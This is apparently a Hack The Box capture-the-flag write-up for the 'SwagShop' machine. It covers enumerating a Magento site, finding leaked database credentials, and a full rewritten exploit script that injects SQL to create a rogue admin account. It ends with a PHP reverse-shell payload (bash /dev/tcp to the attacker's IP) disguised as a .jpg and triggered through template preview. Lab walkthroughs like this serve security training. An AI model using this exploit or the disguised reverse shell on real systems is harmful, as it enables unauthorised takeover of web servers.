nihilist - SwagShop Writeup

Part 2 : Getting User Access

We see that our nmap scan picked up the 80th port, let's enumerate it using dirsearch.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → dirsearch -u http://10.10.10.140/ -e php,html,js,txt -x 403 -r

While that runs in the background, we browse to it and see what we're dealing with.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → curl -sk http://10.10.10.140 | grep Magento

Seems like we have a Magento webserver to work with ! let's run a quick searchsploit command with the Magento command to see which exploits are publicly available for this service.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ]
  → searchsploit Magento

  Shellcodes: No Result

Let's first locate the python script n° 37977 which could possibly give us the ability to execute remote code onto the webserver.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → locate 37977.py
  /usr/share/exploitdb/exploits/xml/webapps/37977.py

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → cp /usr/share/exploitdb/exploits/xml/webapps/37977.py .

Now that's saved locally, we'll continue searching a bit before coming back to it. Meanwhile our dirsearch scan returned with a few results for us :

Seems like our dirsearch scan came back with a few interesting directories for us to inspect. Let's use a web browser of our choice to inspect the /app directory. For this example we'll use lynx.


  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ]
  → lynx http://10.10.10.140/app/

Seems like we can list it's contents ! Let's navigate into etc.

Locale.xml seems juicy.

  Wed, 08 May 2019 07:23:09 +0000 b355a9e0cd018d3f7f03607141518419
  false localhost root fMVWh7bDHpgZkyfqQXreTjU9 swagshop SET NAMES utf8
  mysql4 pdo_mysql 1 files admin

And we have credentials ! although the password seems to be encrypted. Let's return to our python script n°37977 and see if we are able to execute it in either python1, 2 or 3.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
→ python 37977.py
  File "37977.py", line 9
    ////////////////////////
    ^
SyntaxError: invalid syntax

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
→ python2 37977.py
  File "37977.py", line 9
    ////////////////////////
     ^
SyntaxError: invalid syntax

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
→ python3 37977.py
  File "37977.py", line 9
    ////////////////////////
    ^
SyntaxError: invalid syntax

Looking at the results, we see that the script has been badly written so we will re-write it.

                                                                                                                                                                                                              37977.py
import requests
import base64
import sys

target = "http://10.10.10.140/"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"

Now that the script has been re-written, we try to launch it in the same way we tried before.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → python 37977.py
    File "37977.py", line 33
      print "WORKED"
            ^
  SyntaxError: Missing parentheses in call to 'print'. Did you mean print("WORKED")?

Let's not forget that this script is a bit old and has got it's print statements without any parentheses so we will use python2 to launch it.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → python2 37977.py
  DID NOT WORK

Out of luck ! That's because it's not the correct url. we need to replace the URL at the top with "http://10.10.10.140/index.php/"


  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → nano 37977.py

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
  → python2 37977.py
  WORKED
  Check http://10.10.10.140/index.php/admin with creds forme:forme

And it worked ! let's check out the login page with the credentials forme:forme.

We have been able to log in ! Now looking back at our searchsploit results we see yet another python script that looks intersting, let's copy it into our current directory.

  λ nihilist [ 10.10.14.10/23 ] [~/_HTB/SwagShop]
→ nano nihilist.jpg

  <?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.10/1234 0>&1'");
?>

next we go to newsletter > newsletter templates > add new template and do the following :

next we go to System > configuration > developer > template settings > allow symlinks and therefore we should be able to preview our template which will browse to the php reverse shell hidden in the thumbnail jpg named nihilist.jpg, which should send the incoming shell connection to our netcat listener on port 1234
